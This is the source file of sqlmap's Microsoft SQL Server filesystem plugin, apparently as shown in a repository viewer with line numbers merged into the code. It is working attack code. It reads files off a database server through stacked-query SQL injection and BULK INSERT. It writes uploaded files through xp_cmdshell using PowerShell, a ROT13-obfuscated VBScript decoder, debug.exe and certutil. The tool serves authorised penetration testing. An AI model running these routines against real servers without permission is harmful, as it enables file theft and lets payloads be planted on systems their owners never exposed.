Path: blob/master/plugins/dbms/mssqlserver/filesystem.py
2992 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67import ntpath8import os910from lib.core.common import checkFile11from lib.core.common import getLimitRange12from lib.core.common import isNumPosStrValue13from lib.core.common import isTechniqueAvailable14from lib.core.common import posixToNtSlashes15from lib.core.common import randomStr16from lib.core.common import readInput17from lib.core.compat import xrange18from lib.core.convert import encodeBase6419from lib.core.convert import encodeHex20from lib.core.convert import rot1321from lib.core.data import conf22from lib.core.data import kb23from lib.core.data import logger24from lib.core.enums import CHARSET_TYPE25from lib.core.enums import EXPECTED26from lib.core.enums import PAYLOAD27from lib.core.exception import SqlmapNoneDataException28from lib.core.exception import SqlmapUnsupportedFeatureException29from lib.request import inject3031from plugins.generic.filesystem import Filesystem as GenericFilesystem3233class Filesystem(GenericFilesystem):34def _dataToScr(self, fileContent, chunkName):35fileLines = []36fileSize = len(fileContent)37lineAddr = 0x10038lineLen = 203940fileLines.append("n %s" % chunkName)41fileLines.append("rcx")42fileLines.append("%x" % fileSize)43fileLines.append("f 0100 %x 00" % fileSize)4445for fileLine in xrange(0, len(fileContent), lineLen):46scrString = ""4748for lineChar in fileContent[fileLine:fileLine + lineLen]:49strLineChar = encodeHex(lineChar, binary=False)5051if not scrString:52scrString = "e %x %s" % (lineAddr, strLineChar)53else:54scrString += " %s" % strLineChar5556lineAddr += len(strLineChar) // 25758fileLines.append(scrString)5960fileLines.append("w")61fileLines.append("q")6263return fileLines6465def _updateDestChunk(self, fileContent, tmpPath):66randScr = "tmpf%s.scr" % randomStr(lowercase=True)67chunkName = randomStr(lowercase=True)68fileScrLines = self._dataToScr(fileContent, chunkName)6970logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr))7172self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)7374logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr))7576commands = (77"cd \"%s\"" % tmpPath,78"debug < %s" % randScr,79"del /F /Q %s" % randScr80)8182self.execCmd(" & ".join(command for command in commands))8384return chunkName8586def stackedReadFile(self, remoteFile):87if not kb.bruteMode:88infoMsg = "fetching file: '%s'" % remoteFile89logger.info(infoMsg)9091result = []92txtTbl = self.fileTblName93hexTbl = "%s%shex" % (self.fileTblName, randomStr())9495self.createSupportTbl(txtTbl, self.tblField, "text")96inject.goStacked("DROP TABLE %s" % hexTbl)97inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))9899logger.debug("loading the content of file '%s' into support table" % remoteFile)100inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True)101102# Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829103binToHexQuery = """DECLARE @charset VARCHAR(16)104DECLARE @counter INT105DECLARE @hexstr VARCHAR(4096)106DECLARE @length INT107DECLARE @chunk INT108109SET @charset = '0123456789ABCDEF'110SET @counter = 1111SET @hexstr = ''112SET @length = (SELECT DATALENGTH(%s) FROM %s)113SET @chunk = 1024114115WHILE (@counter <= @length)116BEGIN117DECLARE @tempint INT118DECLARE @firstint INT119DECLARE @secondint INT120121SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))122SET @firstint = floor(@tempint/16)123SET @secondint = @tempint - (@firstint * 16)124SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)125126SET @counter = @counter + 1127128IF @counter %% @chunk = 0129BEGIN130INSERT INTO %s(%s) VALUES(@hexstr)131SET @hexstr = ''132END133END134135IF @counter %% (@chunk) != 0136BEGIN137INSERT INTO %s(%s) VALUES(@hexstr)138END139""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)140141binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")142inject.goStacked(binToHexQuery)143144if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):145result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False)146147if not result:148result = []149count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)150151if not isNumPosStrValue(count):152errMsg = "unable to retrieve the content of the "153errMsg += "file '%s'" % remoteFile154raise SqlmapNoneDataException(errMsg)155156indexRange = getLimitRange(count)157158for index in indexRange:159chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)160result.append(chunk)161162inject.goStacked("DROP TABLE %s" % hexTbl)163164return result165166def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):167errMsg = "Microsoft SQL Server does not support file upload with "168errMsg += "UNION query SQL injection technique"169raise SqlmapUnsupportedFeatureException(errMsg)170171def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType):172infoMsg = "using PowerShell to write the %s file content " % fileType173infoMsg += "to file '%s'" % remoteFile174logger.info(infoMsg)175176encodedFileContent = encodeBase64(localFileContent, binary=False)177encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)178encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)179180randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)181randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)182183localFileSize = len(encodedFileContent)184chunkMaxSize = 1024185186logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath)187188for i in xrange(0, localFileSize, chunkMaxSize):189wEncodedChunk = encodedFileContent[i:i + chunkMaxSize]190self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File)191192psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath193psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = "194psString += "[System.Convert]::FromBase64String($Base64); Set-Content "195psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile196197logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath)198self.xpCmdshellWriteFile(psString, tmpPath, randPSScript)199200logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile)201202commands = (203"powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,204"del /F /Q \"%s\"" % encodedBase64FilePath,205"del /F /Q \"%s\"" % randPSScriptPath206)207208self.execCmd(" & ".join(command for command in commands))209210def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):211infoMsg = "using debug.exe to write the %s " % fileType212infoMsg += "file content to file '%s', please wait.." % remoteFile213logger.info(infoMsg)214215remoteFileName = ntpath.basename(remoteFile)216sFile = "%s\\%s" % (tmpPath, remoteFileName)217localFileSize = os.path.getsize(localFile)218debugSize = 0xFF00219220if localFileSize < debugSize:221chunkName = self._updateDestChunk(localFileContent, tmpPath)222223debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType)224debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile)225logger.debug(debugMsg)226227commands = (228"cd \"%s\"" % tmpPath,229"ren %s %s" % (chunkName, remoteFileName),230"move /Y %s %s" % (remoteFileName, remoteFile)231)232233self.execCmd(" & ".join(command for command in commands))234else:235debugMsg = "the file is larger than %d bytes. " % debugSize236debugMsg += "sqlmap will split it into chunks locally, upload "237debugMsg += "it chunk by chunk and recreate the original file "238debugMsg += "on the server, please wait.."239logger.debug(debugMsg)240241for i in xrange(0, localFileSize, debugSize):242localFileChunk = localFileContent[i:i + debugSize]243chunkName = self._updateDestChunk(localFileChunk, tmpPath)244245if i == 0:246debugMsg = "renaming chunk "247copyCmd = "ren %s %s" % (chunkName, remoteFileName)248else:249debugMsg = "appending chunk "250copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName, chunkName, remoteFileName)251252debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName)253logger.debug(debugMsg)254255commands = (256"cd \"%s\"" % tmpPath,257copyCmd,258"del /F /Q %s" % chunkName259)260261self.execCmd(" & ".join(command for command in commands))262263logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile))264265commands = (266"cd \"%s\"" % tmpPath,267"move /Y %s %s" % (remoteFileName, remoteFile)268)269270self.execCmd(" & ".join(command for command in commands))271272def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType):273infoMsg = "using a custom visual basic script to write the "274infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile)275logger.info(infoMsg)276277randVbs = "tmps%s.vbs" % randomStr(lowercase=True)278randFile = "tmpf%s.txt" % randomStr(lowercase=True)279randFilePath = "%s\\%s" % (tmpPath, randFile)280281vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu282vachgSvyrCngu = "%f"283bhgchgSvyrCngu = "%f"284Frg sf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg")285Frg svyr = sf.TrgSvyr(vachgSvyrCngu)286Vs svyr.Fvmr Gura287Jfpevcg.Rpub "Ybnqvat sebz: " & vachgSvyrCngu288Jfpevcg.Rpub289Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1)290qngn = sq.ErnqNyy291sq.Pybfr292qngn = Ercynpr(qngn, " ", "")293qngn = Ercynpr(qngn, ioPe, "")294qngn = Ercynpr(qngn, ioYs, "")295Jfpevcg.Rpub "Svkrq Vachg: "296Jfpevcg.Rpub qngn297Jfpevcg.Rpub298qrpbqrqQngn = onfr64_qrpbqr(qngn)299Jfpevcg.Rpub "Bhgchg: "300Jfpevcg.Rpub qrpbqrqQngn301Jfpevcg.Rpub302Jfpevcg.Rpub "Jevgvat bhgchg va: " & bhgchgSvyrCngu303Jfpevcg.Rpub304Frg bsf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg").BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr)305bsf.Jevgr qrpbqrqQngn306bsf.pybfr307Ryfr308Jfpevcg.Rpub "Gur svyr vf rzcgl."309Raq Vs310Shapgvba onfr64_qrpbqr(olIny fgeVa)311Qvz j1, j2, j3, j4, a, fgeBhg312Sbe a = 1 Gb Yra(fgeVa) Fgrc 4313j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1))314j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1))315j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1))316j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1))317Vs Abg j2 Gura _318fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255))319Vs Abg j3 Gura _320fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255))321Vs Abg j4 Gura _322fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255))323Arkg324onfr64_qrpbqr = fgeBhg325Raq Shapgvba326Shapgvba zvzrqrpbqr(olIny fgeVa)327Onfr64Punef = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/"328Vs Yra(fgeVa) = 0 Gura329zvzrqrpbqr = -1 : Rkvg Shapgvba330Ryfr331zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1332Raq Vs333Raq Shapgvba"""334335# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581336vbs = rot13(vbs)337vbs = vbs.replace(" ", "")338encodedFileContent = encodeBase64(localFileContent, binary=False)339340logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)341342self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)343344logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs))345346self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)347348commands = (349"cd \"%s\"" % tmpPath,350"cscript //nologo %s" % randVbs,351"del /F /Q %s" % randVbs,352"del /F /Q %s" % randFile353)354355self.execCmd(" & ".join(command for command in commands))356357def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):358infoMsg = "using certutil.exe to write the %s " % fileType359infoMsg += "file content to file '%s', please wait.." % remoteFile360logger.info(infoMsg)361362chunkMaxSize = 500363364randFile = "tmpf%s.txt" % randomStr(lowercase=True)365randFilePath = "%s\\%s" % (tmpPath, randFile)366367encodedFileContent = encodeBase64(localFileContent, binary=False)368369splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])370371logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)372373self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile)374375logger.debug("decoding the file to %s.." % remoteFile)376377commands = (378"cd \"%s\"" % tmpPath,379"certutil -f -decode %s %s" % (randFile, remoteFile),380"del /F /Q %s" % randFile381)382383self.execCmd(" & ".join(command for command in commands))384385def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):386# NOTE: this is needed here because we use xp_cmdshell extended387# procedure to write a file on the back-end Microsoft SQL Server388# file system389self.initEnv()390self.getRemoteTempPath()391392tmpPath = posixToNtSlashes(conf.tmpPath)393remoteFile = posixToNtSlashes(remoteFile)394395checkFile(localFile)396localFileContent = open(localFile, "rb").read()397398self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType)399written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)400401if written is False:402message = "do you want to try to upload the file with "403message += "the custom Visual Basic script technique? [Y/n] "404405if readInput(message, default='Y', boolean=True):406self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType)407written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)408409if written is False:410message = "do you want to try to upload the file with "411message += "the built-in debug.exe technique? [Y/n] "412413if readInput(message, default='Y', boolean=True):414self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType)415written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)416417if written is False:418message = "do you want to try to upload the file with "419message += "the built-in certutil.exe technique? [Y/n] "420421if readInput(message, default='Y', boolean=True):422self._stackedWriteFileCertutilExe(tmpPath, localFile, localFileContent, remoteFile, fileType)423written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)424425return written426427428